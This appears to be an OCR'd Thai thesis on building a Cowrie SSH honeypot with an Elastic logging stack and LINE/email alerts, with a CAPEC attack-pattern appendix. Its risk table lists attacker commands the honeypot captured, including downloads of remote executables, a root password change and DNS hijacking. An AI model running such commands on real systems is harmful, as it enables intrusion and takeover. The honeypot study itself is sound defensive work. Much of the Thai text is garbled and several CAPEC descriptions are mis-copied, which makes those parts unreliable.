1 1 2 3 a

N15U52LHUTEAUANULAYINNIUNITHAITANIINANUNFINITOUU TS

Azkuulanwandlunis1ean 20

MN5199 20 FTLAUAINLEES

Y9ATLUY sEAUAMILEDS
1-4 1oe (Low)

5-9 Yrunas (Medium)
10- 15 g9 (High)

16 - 25 gaann (Very High)

5.2.2 Nan15useiiuauLdeg

Turuddeiiliminisdugnansenuvesmddauinnuiunistiaudaun (CAPEC) ¥

nswddamaniaziinnNuideuagiansenuvesrdinslauaiy q Inggidenuiiliies

o v adaw

24 fmds NTngUszasrlunslandlndifesiuinguszasinislaufinunuansfinisan 21

= a Y a
AT NN 21 HANTUTELUUTEAUANULAYS

ngu UGN HGHE) Tomail | wansenu | A1A218 | SEAU
LA 89 | AANNLEYS
1 cat /var/tmp/.var03522123 | head -n 1 3 3 9 Urunang
1 cat /var/tmp/.systemcached36621 4 5 20 g9
1 cat etc/passwd 3 3 9 J1unana
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gy Adentslaud Tomadl | wansznu | Amdu | sy
AN L?i&]\? ﬂ')']ﬂJL?iEN

1 cd .. 4 4 16 gaun

1 ls-alR* [ 3 12 G

1 free -m | grep Mem | awk '{print $2,$3, $4, $5, 4 2 8 drunang
$6, $T¥

2 apt-get install mitmf [ 5 20 gaun

2 apt-get install hydra -y 3 [ 12 G

2 apt-get install hping3 [ 3 12 G

3 wget --no-check-certificate --content-disposition 3 a 12 G
https://github.com/En14c/LilyOfTheValley

3 iptables -A OUTPUT -p icmp --icmp-type 0 -s <) 2 6 drunang
$SERVER_IP -d 0/0 -m state --state
ESTABLISHED,RELATED -j ACCEPT

3 weet http//flashpointy.xyz/panel/testl.exe 3 [ 12 a

3 curl https://api.the-black- 3 [ 12 a
hack.jehaisleprintemps.net

3 wget https://www.microsoft.com/en- 4 3 12 Gl
us/download/details.aspx?id=18465

3 wget 3 a 12 Gl
https://cloudypirate.com/cklacdsOkup7/500-
worst-passwords.txt.bz2.html

3 weet https://g00.¢/RZgVFK 4 5 20 gaun

4 vi /etc/sysctl.conf 4 5 20 gaun

a4 echo "root:JwdgyhDYlprP"|chpasswd|bash 4 4 16 G

a4 mkfile 100g /filel.txt 2 4 8 Junang

4 echo "104.243.41.97" >/etc/resolv.conf 4 5 20 gaun

a4 ifconfig eth0 down 2 4 8 dr1unana

4 ln —s/etc/nologin file 1 2 4 8 Jrunang

5 su root 3 4 12 Gl

5 sudo useradd admin0 2 4 8 Jrunang
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5.2.3 agUnan1susEiiuauEes
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5.3 uuanelunsanAuLEes

wdaanimsnaaeuuazysuifiusrfuanades gidewunginssunislanfivesdyngnd
ananeliAnanudsssedimanssnuonudunslasnfovodeseteesnns H3glavin
N135uTINgURuUNslanfLaziuIn1an1sdesiu FaaunsathseerunisTaudivaniun
atfuayumsimusulovisesdng lnsulsuiensdesiuiiosdnsiisiiiioanauidssutady
2 n5al laun uIststsﬂmﬁ’mﬁaammmL?%mm{[amal,%’ﬁqiszw wazulouvsnstesiuiie

ANANULEEIAIEINNSIANR T eazdunnasalul

5.3.1 ulsuredasiunsanasuidigszuy

va o o a al o A ¢ = a A
U’Jﬁ]ﬂmqﬂqiijUﬁrJﬂJEULLUUﬂ']iiﬁ]llmV\WCULLaSUIEJEU']EJﬂ']i{j@ﬂﬂu‘ﬂ@ﬂﬂﬂi%mllLW@a@I

AuEsluNTENaNaoUNETEUU T18ALLBEARARIAINNT 1NN 23

ql U ¥ ¥ 1
m1599 23 wlguiglesiunisanasuidigseuy

sunuunslaufnny ulgurgnistasiunneg
Aunsnvimsanasulingszuu lnedy Tadunsassianuluidmsunisldnuass
L & & = = C a Ay o= !
saHUINAIUgTuveslUsUN ULy wsn ieldessianuiluaASunu dsdese
NAALAN
Aunindnasuingsyuu tngldlusunsulu | - Ssrumsassianulvilanududousnniu
nsgusiaru Tunwideiinunislaum 3 wiu Tusiarudesdidnwsiudn dalug)
suiuu letu AIAY UAYONUTLRLAY
- MslaufATia U uUUINe S - Usfunsaasiarulvidanuenilidesndy
a o 1 a U = U
- MslauAsaiTuuuANTUWS 8 fBNYs
a o o = v v a N < ° !
- mslaudsviaruiuuleuia - tedulviinsiudeusiasinuduysed1egns
Woeyn 9 90 Tu
° vy < U Ay o -
- Myualiinisdendydgldudinsiuie
NUNIRAGTFUUTRANGIALINNT 3 AT




5.3.2 Ulgu1edaanuAdInIslaus

60

{3evin1ssuswgdeuumslandnnuuazuleutemsdesiunesdnsiadiiioan

AadsdluN1sgNIANAMIBAIAIN 9 S18AZIBALARIRINNTINN 24

AN5199 24 UlguneUaanumdanslaum

gy sUnuumslaufing ulguremstiasfuiified
1 | fyngnvmsaununesaiiemsesndly | Auusli$readlndaamenesndisndy
N15193A ity
1| duninGengdoyalitdviomelussun fvuslyiinadhstarulilddndyile

Jasiunslasnssudeya

2 | fyngnyinsiiuds (Phishing) Lite vl ltlusInneaniinisidsiadulu
lasnssudeyadiuynna mMs3udstoyanisdeansdumesidn
2INIEAUAUES IS W HTTPS
(Hypertext Transfer Protocol Secure)
2 | fyngnindssensiuasilalldsuoune Mvuauleuigvadliiioadlidsniies

ueanduwmesiiln uathdndudosen
£ABIWINITITURNIZY 1S WA DALY
NuWhiuazgesweaudadlaTUNT

ATIRADUIMALTL YA TUALUABASY

5 |4

]

avanlidiawisasnnssuu

Y g v s ay o v A
ﬂEﬂLGU'ﬂGlN']u%@']il,l,@aﬂlllﬂa@@lﬂﬂLW@

Muualnseadlvivasnfouniu 1o
=~ I = 'y
Weanugansweanielnddunsieniely

v a cl' -y Y o =3
ssyuutinaainaul Tvvinnnsudannis

Y s a 'z A a
L?J']ﬂﬂﬁ]@'ﬁLL@ﬁﬁﬁ@lV\lﬁ@\TﬂaW?VﬁS‘U‘U'ﬂﬁ\T

Y

5 |4

]

nsnvinsAnaendeyanieluszuy

MvuaansnIsiiawsarUaydsldny

v A ° = )
RUIMATTNNIUY LW@{j@QﬂUﬂ'}ﬂ;'ﬂiﬂiiﬂ

¥ L3

VBUADNANT

Y

¥

wazneemasungluallulvsioad

nyningszuumednyagldanunily

VU lEVSRNNERRaTE UYL
aunsawnludeyaiugiuensauiiiay

YINAWIS




61

gy sUnuumslaufing ulguremstlasfuiified
3 | duninisenldaueiiledunsng (API) - Muualisieadldluslnaeanis
Houstodidu HTTPS Wiy
- rmuslitinnsaseaeuAfisuItanan
AGRIIEHE
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Address) PUAINY
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N33 (Remote Configuration)
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dAannlisuuusnasgiu 20 GB Tusi
aua

& Cent0S7 RIEI

dayailszinduaznisainfe API
feudiusnms
Compute Engine default service account -

wauiwan i

® aunnanisfadueu
aunnanisuAsuunduiu AP BAITTULAATIFTIUNA
@ornnisiinded uiu APl usazsianis

ihaad
sisisuasaglusiaaduiaaunnaliiaasassasea i1 0ya luearnefisryndwnasiie

" auanenisasiasaastayaann HTTP
M ausnenisasiasvasiayaain HTTPS

msaans asineaulaands fan wiaie diahnafo

sauvmslaiesdonisnaanaliviuasnadusufuauaus VM  GOP szduvl (7

e anLéin

REST siausnimendainiinumyia

AN 49 NSANUALNSI9AALAT IS NOSATTNLIDS

Google Cloud Platform & My First Project v Q  dumwminmnsuasHAaNMl

ﬂ Compute Engine duauaual VM R anoduauaud & VM Csulsn 51

B dusvaud VM

X i = Aadni +
o AaNduaLaua
_ ; a ~ Ty Auuan Uagan 1P aaly 1P awuan \ausia
E muwasaualaugl
@ cowriesrv  us-centrall-a 10.128.0.5 (nic0) 34.67.41.116 7 SSH -
B Twezasdunoadn O @& reportsvr  us-centrall-a 10.128.0.3 (nic0) 34.71.0.95 [ SSH ~
] Auuaunniu

AT 50 NUNDULAAINANITASNABLN LMD AT DUASA

< v ¥ § a gj o !
3. UndnsUnagldanugn weldlunisinnsuasimvuaailasahuugonings

3.1 uAlvlvld sshd_config 91w /etc/ssh/sshd_config uagyinnsiuasud 2 ussiin
1§un Us9¥A PermitRootLogin no tUAswtdu yes uaz PasswordAuthentication no

wWaswdu yes

3.2 @93@115m (Restart) @os39L0@L0aLBUA (sshd service) WAAIRININT 51

[root@cowrie-srv ssh]# systemctl restart sshd

ANA 51 A93aN5ADIVLDALDALDUA
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1. SWANTTUUMEAIAS yumn upgrade —y LAAIAINING 52

AN 52 ANFINITONANTZUU

1 [ o

2. @330 lIN%091 cowrie Mer1ds adduser cowrie

3. ARALRNLNTNALISAIBAIES yum install -y python-virtualenv git gcc HanIn? 53

installed

P a O ¢ & A o oo
AN 53 N1SAARILANLNAYBNALITLATDITUUNDH

4. fvuaelasauulng1ead faefds firewall-emd —add-port 2222/tcp Liiadanesnnis

o911

5. lihgszuusedie cowrie

6. annilnanuinunaduiinendiemds it clone http://sithub.com/cowrie/cowrie
7. adanmwndauneludiedds virtualenv --python=python2.7 cowrie-env

8. Ll FINUANINUINADUAIBANET . cowrie-env/bin/activate MINIIANSIVLUANINAANSH

ﬂ?Wﬁ 54
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ANA 54 NS NUFNINLINADL

9. vinssmnsauininaliidueituanaanasyinnsfinaslndntedn requirements.txt A

AdanalUdl

pip install --upgrade pip

pip install --upgrade -r requirements.txt
10. Busuldnuesiadutines memddelul

cd /home/cowrie/cowrie/bin

Jcowrie start
11. ATINEDUADIULAMBAIEA sS -Intp | grep twistd

12. Ynn1svinausuiinenaigAds cd /home/cowrie/cowrie/bin/cowrie stop Litaunly

NOIANIT LTI
13, Wasununaanaseiduasudy anwesa 22 1u 2332 meumad

echo "Port 2332" >> /etc/ssh/sshd_config

semanage port -a -t ssh_port_t -p tcp 2332
14. MuAAlASUUINS19a N UANDSANIT I PIEAIAY

firewall-cmd -—add-port 2332/tcp —permanent

firewall-cmd —-reload
15. YNAS3aNSRLDsIaLoaLaIYMBANES systemctl restart sshd.service
16. 99nANTEUURALiNgsrUUlaenesn 2332

17. mnuaelasawuulnsieadiiadsunasnsuauvassuiinenain 2222 18y 22 e

(%
v 1 =1

famalUll

firewall-cd --add-masquerade --permanent



18.

19.

20.

21.
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firewall-cmd --add-forward-port=port=22:proto=tcp:toport=2222 --permanent

firewall-cmd -reload

WngsyuumeUntnlive cowrie uazuiuldnugeaguilnonniemas

cd /home/cowrie/cowrie/bin/cowrie start
MUt iR ldias saruNansaLing seuumemas

cd /home/cowrie/cowrie/etc

cp —rp userdb.example userdb.txt
° = ¢ fa Y o
NINITANIRNLYBIVIANAIINIUATE

/home/cowrie/cowrie/bin/cowrie stop

/home/cowrie/cowrie/bin/cowrie start

Alnan Filebeat waranwlnaniluidngiias

22. unnlid filebeat-7.5.2-linux-x86_64.tar.gz A18/A1 &9 tar —zxf filebeat-7.5.2-linux-

x86 64 tar.gz 3z nulNAUEILANIIININTA 55

AN 55 JunUNITWAN NG
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23. uftloAnlasauuulald filebeatyml neldnan filebeat-7.5.2-linux-x86_64 ¢eA1& vi

filebeat.yml TneudlvAdsdelud

- type: log
enabled: true
paths:
- /home/cowrie/logme/sum_login_*.log
fields_under root: true
fields:
tags: ["'check login"]
- type: log
enabled: true
paths:
- /home/cowrie/logme/sum_case*.log
fields_under root: true
fields:
tags: ["'check _cmd"]
- type: log
enabled: true
paths:
- /home/cowrie/logme/url_malware *.txt
fields_under root: true
fields:

tags: ["'check _malware"]

26, uhluslasauuulng filebeatyml Tnemsldnouiug (#) dasoluil

#output.elasticsearch:

#hosts : [“localhost:9200”]
25. uAluAnlasauuulng filebeatyml Tngnsaunouwius (#) dasolud

output.logstash:
hosts: [“10.128.0.3:50447] - IP Report Server



AARNUIN A

ANSANAILAZNTNUAATIASILUULATDITNDIA

75



76

[
a o

1. @AY Logstash
1.1 DWLARLALONLNTAN LA

yum -y update
yum -y upgrade

1.2 finfa Logstash fe1da sudo rpm —import https://artifacts.elastic.co/GPG-KEY-

elasticsearch

1.3a519lWd7%991 logstash.repo A8 1ANIN /etc/yum.repos.d/ A28ATES Vi

/etc/yum.repos.d/logstash.repo Tnemelulndiiseazduadanmil 56

A 56 nsinusalasskuululig logstash.repo

1.4 finds logstash #eA&a yum install logstash
1.5 vhnmsaminwesiadiesudunisidnusemads systemctl start logstash
2. finma Elasticsearch
2.1 e (Java) $erds sudo yum -y install java-openjdk-devel java-openjdk

2.2 Aindq Elasticseach #18A1&4 rpm —import https:/artifacts.elastic.co/GPG-KEY-

elasticsearch

2.3 @514lWa7n%971 elasticsearch.repo A18ldnIn /etc/yum.repos.d/ A18A&S vi

/etc/yum.repos.d/elasticsearch.repo TnenelulwaiseazBensanmd 57



e

A 57 msimusailasskuululg elasticsearch.repo

2.4 finda elasticsearch AAE3 yum install elasticsearch
2.5 MNTANISALERTIELNBLSHAUNTITIUAUAES systemctl start elasticsearch
3. Anfl Kibana

3.1 $n15AARY Kibana #e@1d3 rpm —import https:/artifacts.elastic.co/GPG-KEY-
elasticsearch

3.2 a319lWdNdFe11 kibanarepo n18lanan /etc/yum.repos.d/ A18AIAS Vi

/etc/yum.repos.d/kibana.repo
3.3 finda kibana AauR&s yum install kibana

3.4 YNASEMSATIANDLSNAUNTITIUAIANES systemctl start kibana
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1. mssenldanuladiuiwesia

1.1 adasldusnislatiiuwesia https://notify-bot.line.me/my/

Wingsyuumeeuarsiarudmiuldanulad antdudensignisesn Access Token (@1msu

LY

AR Wagnavenlyiay (Token) UansfsnIni 58

aan Access Token (R1ASUHWEIUN)
LINE Notify APl Document

a o Y a ¢ e
AW 58 d@sAslausnistauiuwesia

1.2 \Fonvinduanideinisdsdennundusiou mnlidlvasenguaunnivg)

MNUUIL LA INLAUNDDN LEAAIFINING 59

Token Viaan

fhaanannwini szuuazhinass Token naantmidnsiald Tusada
aan Token fiauaanainuiinil

::4' 1 Y A
AN 59 BUIBDLLIWADU

1.3 lufidsnnesifiennaounisus aieulaslymds
curl -X POST -H 'Authorization: Bearer "TOKEY KEY™ -F 'message="nadau"

https://notify-api.ine.me/api/notify LaRIRINING 60

"' -F 'message='"wadou" https://not|

d‘ o QIJ ¥ & 1 L3
AN 60 MEWAgaUN1SLALRauN1Ulal]
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) &3 =}

@ LINE Notify
Robot Monitor: nagau

@ LINE Notify
Robot Monitor: wagau

Robot Monitor: nagau

3 '} Admin Monitor

ANA 61 NeaBUNISHILADUNIUlAY

2. MIARHILRNINdI NS UdIBLIa

2.1 AR NALISNADILY LARIRININTD 62

]

d' °o U a ¢ ) o 1A
AINN 62 ANFNAARAILNNLNAYBNALITANNSUAIDINA

2.2 \iuAnlasauuling sasl_passwd nel@nwm /etc/postfix AIRIEINLAAININING 63

g‘ULLUUl’JEﬂﬂiEﬁ (syntax) : [smtp.gmail.com]:587 mail@xxx.com:password

AT 63 MISANAILATILUUTILNG sasl_passwd

2.3 Al lAsauUning main.cf sasaluil


mailto:mail@xxx.com:password

81

myhostname = hostname.example.com
relayhost = [smtp.gmail.com]:587
smtp_use tls = yes
smtp_sasl_auth_enable = yes
smtp_sasl_password _maps = hash:/etc/postfix/sasl_passwd
smtp_tls CAfile = /etc/ssl/certs/ca-bundle.crt
2.4 Uszaanalndimunalasauulagldfds postmap /etc/postfix/sasl_passwd
2.5 5537 (Restart) Postfix fefda systemctl restart postfix.service
2.6 FuUsldumesiusierds systemctl enable postfix.service
2.7 fendwaludiuvesaudasadte Tnen1sianisdndweweuifienuuaenfodes

2.9 NAABUNNSAIDLUALINADU LAAIAININA 64

mail -s "test message" testfflgmail.com

= o W | a YA
AN 64 ANFINAFDUNITAIDLUALLINLFDU
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Y

susuunslaudiain (CAPEC) Nidandugvianun 24 sUuuy fisteazidendssialuil [12]

1. Inducing Account Lockout

CAPEC ID

CAPEC-2

Description

An attacker leverages the security functionality of the system aimed at thwarting
potential attacks to launch a denial of service attack against a legitimate system user.
Many systems, for instance, implement a password throttling mechanism that locks an
account after a certain number of incorrect log in attempts. An attacker can leverage
this throttling mechanism to lock a legitimate user out of their own account. The
weakness that is being leveraged by an attacker is the very security feature that has

been put in place to counteract attacks.

Likelihood

High

Impact

Medium

Resources Required

Computer with access to the login portion of the target system

Mitigations

Implement intelligent password throttling mechanisms such as those which take IP

address into account, in addition to the login name.

2. Subverting Environment Variable Values

CAPEC ID CAPEC-13

Description The attacker directly or indirectly modifies environment variables used by or
controlling the target software. The attacker's goal is to cause the target software to
deviate from its expected operation in a manner that benefits the attacker.

Likelihood High

Impact Very High

Resources Required | None

Mitigations

Protect environment variables against unauthorized read and write access.
Protect the configuration files which contain environment variables against illegitimate

read and write access.

3. Dictionary-based Password Attack

CAPEC ID CAPEC-16

Description An attacker tries each of the words in a dictionary as passwords to gain access to the
system via some user's account. If the password chosen by the user was a word within
the dictionary, this attack will be successful (in the absence of other mitigations). This is
a specific instance of the password brute forcing attack pattern.

Likelihood Medium
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Impact

High

Resources Required

A machine with sufficient resources for the job (e.g. CPU, RAM, HD). Applicable
dictionaries are required. Also a password cracking tool or a custom script that

leverages the dictionary database to launch the attack.

Mitigations

Create a strong password policy and ensure that your system enforces this policy.

4. Exploiting Trust in Client

CAPEC ID CAPEC-22

Description The attacker directly or indirectly modifies environment variables used by or
controlling the target software. The attacker's goal is to cause the target software to
deviate from its expected operation in a manner that benefits the attacker.

Likelihood High

Impact High

Resources Required

Ability to communicate synchronously or asynchronously with server

Mitigations

Design: Ensure that client process and/or message is authenticated so that anonymous
communications and/or messages are not accepted by the system.

Design: Do not rely on client validation or encoding for security purposes.

Design: Utilize digital signatures to increase authentication assurance.

Design: Utilize two factor authentication to increase authentication assurance.

Implementation: Perform input validation for all remote content.

5. Using Unpublished APIs

CAPEC ID CAPEC-36

Description The attacker directly or indirectly modifies environment variables used by or
controlling the target software. The attacker's goal is to cause the target software to
deviate from its expected operation in a manner that benefits the attacker.

Likelihood Medium

Impact High

Resources Required | None

Mitigations

Authenticating both services and their discovery, and protecting that authentication
mechanism simply fixes the bulk of this problem. Protecting the authentication
involves the standard means, including: 1) protecting the channel over which
authentication occurs, 2) preventing the theft, forgery, or prediction of authentication

credentials or the resultant tokens, or 3) subversion of password reset and the like.

6. Retrieve Embedded Sensitive Data
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CAPEC ID CAPEC-37

Description An attacker examines a target system to find sensitive data that has been embedded
within it. This information can reveal confidential contents, such as account numbers or
individual keys/credentials that can be used as an intermediate step in a larger attack.

Likelihood High

Impact Very High

Resources Required

The attacker must possess access to the system or code being exploited. Such access,
for this set of attacks, will likely be physical. The attacker will make use of reverse
engineering technologies, perhaps for data or to extract functionality from the binary.
Such tool use may be as simple as "Strings" or a hex editor. Removing functionality may
require the use of only a hex editor, or may require aspects of the toolchain used to
construct the application: for instance the Adobe Flash development environment.
Attacks of this nature do not require network access or undue CPU, memory, or other

hardware-based resources.

Mitigations

Minimize error/response output to only what is necessary for functional use or

corrective language.

7. Password Brute

Forcing

CAPEC ID

CAPEC-49

Description

In this attack, the adversary tries every possible value for a password until they
succeed. A brute force attack, if feasible computationally, will always be successful
because it will essentially go through all possible passwords given the alphabet used
and the maximum length of the password. A system will be particularly vulnerable to
this type of an attack if it does not have a proper enforcement mechanism in place to
ensure that passwords selected by users are strong passwords that comply with an
adequate password policy. In practice a pure brute force attack on passwords is rarely
used, unless the password is suspected to be weak. Other password cracking methods
exist that are far more effective. Knowing the password policy on the system can make
a brute force attack more efficient. For instance, if the policy states that all passwords

must be of a certain level, there is no need to check smaller candidates.

Likelihood

Medium

Impact

High

Resources Required

A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact
requirements will depend on the size of the brute force job and the time requirement
for completion. Some brute forcing jobs may require grid or distributed computing (e.g.

DES Challenge).

Mitigations

Brute Force Attack prevention should be longer password length.
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Password should consist of UPPERCASE and lowercase alphabets and should also have

numbers and special characters.

8. Query System for Information

CAPEC ID CAPEC-54

Description An adversary, aware of an application's location (and possibly authorized to use the
application), probes an application's structure and evaluates its robustness by
submitting requests and examining responses. Often, this is accomplished by sending
variants of expected queries in the hope that these modified queries might return
information beyond what the expected set of queries would provide.

Likelihood High

Impact Low

Resources Required

The Attacker needs the ability to probe application functionality and provide it
erroneous directives or data without triggering intrusion detection schemes or making
enough of an impact on application logging that steps are taken against the attacker.

The Attack does not need special hardware, software, skills, or access.

Mitigations

Application designers can construct a 'code book' for error messages. When using a
code book, application error messages aren't generated in string or stack trace form,
but are cataloged and replaced with a unique value 'coding' for the error. Such a
technique will require helpdesk and hosting personnel to use a 'code book' or similar

mapping to decode application errors/logs in order to respond to them normally.

9. Rainbow Table Password Cracking

CAPEC ID CAPEC-55

Description An attacker gets access to the database table.
Likelihood Medium

Impact Medium

Resources Required

Rainbow table of password hash chains with the right algorithm used. A password

cracking tool that leverages this rainbow table will also be required.

Mitigations

Use salt when computing password hashes. That is, concatenate the salt (random bits)

with the original password prior to hashing it.

10. Try Common or Default Usernames and Passwords

CAPEC ID

CAPEC-70

Description

An adversary may try certain common or default usemames and passwords to gain

access into the system and perform unauthorized actions. An adversary may try an
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intelligent brute force using empty passwords, known vendor default credentials, as
well as a dictionary of common usernames and passwords. Many vendor products
come preconfigured with default (and thus well-known) usernames and passwords that
should be deleted prior to usage in a production environment. It is a common mistake
to forget to remove these default login credentials. Another problem is that users
would pick very simple passwords (e.g. password) that make it easier for the attacker to
gain access to the system compared to using a brute force attack or even a dictionary

attack using a full dictionary.

Likelihood

Medium

Impact

High

Resources Required

Technology or vendor specific list of default usernames and passwords

Mitigations

Delete default usernames and passwords that put in by the product vendor.

Create a complex password.

11. Man in the Middle Attack

CAPEC ID

CAPEC-94

Description

This type of attack targets the communication between two components (typically
client and server). The attacker places himself in the communication channel between
the two components. Whenever one component attempts to communicate with the
other, the data first goes to the attacker, who has the opportunity to observe or alter
it, and it is then passed on to the other component as if it was never observed. This
interposition is transparent leaving the two compromised components unaware of the
potential corruption or leakage of their communications. The potential for Man-in-the-
Middle attacks yields an implicit lack of trust in communication or identify between
two components. MITM attacks differ from sniffing attacks since they often modify the
communications prior to delivering it to the intended recipient. These attacks also
differ from interception attacks since they may forward the sender's original unmodified

data, after copying it, instead of keeping it for themselves.

Likelihood

High

Impact

Very High

Resources Required

None

Mitigations Get your Public Key signed by a Certificate Authority
Use Strong mutual authentication to always fully authenticate both ends of any
communications channel.
12. Phishing

CAPEC ID

CAPEC-98
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Description Phishing is a social engineering technique where an attacker masquerades as a
legitimate entity with which the victim might do business in order to prompt the user
to reveal some confidential information (very frequently authentication credentials)
that can later be used by an attacker. Phishing is essentially a form of information
gathering or "fishing" for information.

Likelihood High

Impact Very High

Resources Required

Some web development tools to put up a fake website.

Mitigations

Do not follow any links that you receive within your e-mails and certainly do not input
any login credentials on the page that they take you too. Instead, call your Bank,
PayPal, eBay, etc., and inquire about the problem. A safe practice would also be to
type the URL of your bank in the browser directly and only then log in. Also, never

reply to any e-mails that ask you to provide sensitive information of any kind.

13. Flooding

CAPEC ID

CAPEC-125

Description

An adversary consumes the resources of a target by rapidly engaging in a large number
of interactions with the target. This type of attack generally exposes a weakness in rate
limiting or flow. When successful this attack prevents legitimate users from accessing
the service and can cause the target to crash. This attack differs from resource
depletion through leaks or allocations in that the latter attacks do not rely on the
volume of requests made to the target but instead focus on manipulation of the
target's operations. The key factor in a flooding attack is the number of requests the
adversary can make in a given period of time. The greater this number, the more likely

an attack is to succeed against a given target.

Likelihood

High

Impact

Medium

Resources Required

A script or program capable of generating more requests than the target can handle, or

a network or cluster of objects all capable of making simultaneous requests.

Mitigations

Ensure that protocols have specific limits of scale configured.
Specify expectations for capabilities and dictate which behaviors are acceptable when

resource allocation reaches limits.

14. Directory Indexing

CAPEC ID

CAPEC-127

Description

An adversary crafts a request to a target that results in the target listing/indexing the

content of a directory as output. One common method of triggering directory contents
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as output is to construct a request containing a path that terminates in a directory
name rather than a file name since many applications are configured to provide a list
of the directory's contents when such a request is received. An adversary can use this
to explore the directory tree on a target as well as learn the names of files. This can
often end up revealing test files, backup files, temporary files, hidden files,
configuration files, user accounts, script contents, as well as naming conventions, all of

which can be used by an attacker to mount additional attacks.

Likelihood

High

Impact

Medium

Resources Required

Ability to send HTTP requests to a web application.

Mitigations

1. Using blank index.html: putting blank index.html simply prevent directory listings
from displaying to site visitors.

2. Preventing with .htaccess in Apache web server: In .htaccess, write "Options-indexes".

15. Symlink Attack

CAPEC ID

CAPEC-132

Description

An attacker positions a symbolic link in such a manner that the targeted user or
application accesses the link's endpoint, assuming that it is accessing a file with the
link's name. The endpoint file may be either output or input. If the file is output, the
result is that the endpoint is modified, instead of a file at the intended location.
Modifications to the endpoint file may include appending, overwriting, corrupting,
changing permissions, or other modifications. In some variants of this attack the
attacker may be able to control the change to a file while in other cases they cannot.
The former is especially damaging since the attacker may be able to grant themselves
increased privileges or insert false information, but the latter can also be damaging as it
can expose sensitive information or corrupt or destroy vital system or application files.
Alternatively, the endpoint file may serve as input to the targeted application. This can
be used to feed malformed input into the target or to cause the target to process
different information, possibly allowing the attacker to control the actions of the target
or to cause the target to expose information to the attacker. Moreover, the actions
taken on the endpoint file are undertaken with the permissions of the targeted user or

application, which may exceed the permissions that the attacker would normally have.

Likelihood

Low

Impact

High

Resources Required

None

Mitigations

Design: Check for the existence of files to be created, if in existence verify they are

neither symlinks nor hard links before opening them.
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Implementation: Use randomly generated file names for temporary files. Give the files

restrictive permissions.

16. Relative Path Traversal

CAPEC ID CAPEC-139

Description An attacker exploits a weakness in input validation on the target by supplying a
specially constructed path utilizing dot and slash characters for the purpose of
obtaining access to arbitrary files or resources. An attacker modifies a known path on
the target in order to reach material that is not available through intended channels.
These attacks normally involve adding additional path separators (/ or \) and/or dots
(.), or encodings thereof, in various combinations in order to reach parent directories or
entirely separate trees of the target's directory structure.

Likelihood High

Impact High

Resources Required | None

Mitigations

Design: Input validation. Assume that user inputs are malicious. Utilize strict type,
character, and encoding enforcement

Implementation: Perform input validation for all remote content, including remote and
user-generated content.

Implementation: Validate user input by only accepting known good. Ensure all content
that is delivered to client is sanitized against an acceptable content specification --
whitelisting approach.

Implementation: Prefer working without user input when using file system calls

Implementation: Use indirect references rather than actual file names.

17. Screen Temporary Files for Sensitive Information

CAPEC ID

CAPEC-155

Description

An adversary exploits the temporary, insecure storage of information by monitoring the
content of files used to store temp data during an application's routine execution flow.
Many applications use temporary files to accelerate processing or to provide records of
state across multiple executions of the application. Sometimes, however, these
temporary files may end up storing sensitive information. By screening an application's
temporary files, an adversary might be able to discover such sensitive information. For
example, web browsers often cache content to accelerate subsequent lookups. If the
content contains sensitive information then the adversary could recover this from the

web cache.

Likelihood

Medium
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Impact

Medium

Resources Required

Because some application may have a large number of temporary files and/or these

temporary files may be very large, an adversary may need tools that help them quickly
search these files for sensitive information. If the adversary can simply copy the files to
another location and if the speed of the search is not important, the adversary can still

perform the attack without any special resources.

Mitigations

Remove potentially sensitive information that is not necessary for the application's

functionality.

18. DNS Rebinding

CAPEC ID

CAPEC-275

Description

An adversary serves content whose IP address is resolved by a DNS server that the
adversary controls. After initial contact by a web browser (or similar client), the
adversary changes the IP address, to which its name resolves, to an address within the
target organization that is not publicly accessible. This allows the web browser to
examine this internal address on behalf of the adversary. Web browsers enforce
security zones based on DNS names in order to prevent cross-zone disclosure of
information. In a DNS binding attack, an adversary publishes content on their own
server with their own name and DNS server. The first time the target accesses the

adversary's content, the adversary's name must be resolved to an IP address.

Likelihood

High

Impact

Very High

Resources Required

The adversary must serve some web content that a victim accesses initially. This
content must include executable content that queries the adversary's DNS name (to
provide the second DNS resolution) and then performs the follow-on attack against the
internal system. The adversary also requires a customized DNS server that serves an IP
address for their registered DNS name, but which resolves subsequent requests by a

single client to addresses internal to that client's network.

Mitigations

Design: IP Pinning causes browsers to record the IP address to which a given name
resolves and continue using this address regardless of the TTL set in the DNS response.
Unfortunately, this is incompatible with the design of some legitimate sites.
Implementation: Reject HTTP request with a malicious Host header.

Implementation: Employ DNS resolvers that prevent external names from resolving to

internal addresses.

19. ICMP Echo Request Ping

CAPEC ID

CAPEC-285
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Description

An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping’, in
order to determine if a target system is responsive. If the request is not blocked by a
firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram.
This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in
almost all operating systems. Ping, as commonly implemented, allows a user to test
for alive hosts, measure round-trip time, and measure the percentage of packet loss.
Performing this operation for a range of hosts on the network is known as a 'Ping
Sweep'. While the Ping utility is useful for small-scale host discovery, it was not
designed for rapid or efficient host discovery over large network blocks. Other scanning
utilities have been created that make ICMP ping sweeps easier to perform. Most
networks filter ingress ICMP Type 8 messages for security reasons. Various other

methods of performing ping sweeps have developed as a result.

Likelihood

Medium

Impact

Low

Resources Required

Scanners or utilities that provide the ability to send custom ICMP queries.

Mitigations

Consider configuring firewall rules to block ICMP Echo requests and prevent replies. If

not practical, monitor and consider action when a system has fast and a repeated

pattern of requests that move incrementally through port numbers.

20. Malicious Losgic Insertion

CAPEC ID

CAPEC-441

Description

An adversary installs or adds malicious logic (also known as malware) into a seemingly
benign component of a fielded system. This logic is often hidden from the user of the
system and works behind the scenes to achieve negative impacts. With the
proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and
802.11 support, new attack vectors for spreading malware are emerging for things we
once thought of as innocuous greeting cards, picture frames, or digital projectors. This
pattern of attack focuses on systems already fielded and used in operation as opposed
to systems and their components that are still under development and part of the

supply chain.

Likelihood

Medium

Impact

High

Resources Required

None

Mitigations

Perform testing such as pen-testing and vulnerability scanning to identify directories,

programs, and interfaces that grant direct access to executables.

21. Signature Spoofing by Misrepresentation



93

CAPEC ID CAPEC-476

Description An attacker exploits a weakness in the parsing or display code of the recipient software
to generate a data blob containing a supposedly valid signature, but the signer's
identity is falsely represented, which can lead to the attacker manipulating the
recipient software or its victim user to perform compromising actions.

Likelihood Low

Impact High

Resources Required | None

Mitigations

Ensure the application is using parsing and data display techniques that will accurately
display control characters, international symbols and markings, and ultimately

recognize potential homograph attacks.

22. Infiltration of Hardware Development Environment

CAPEC ID CAPEC-537

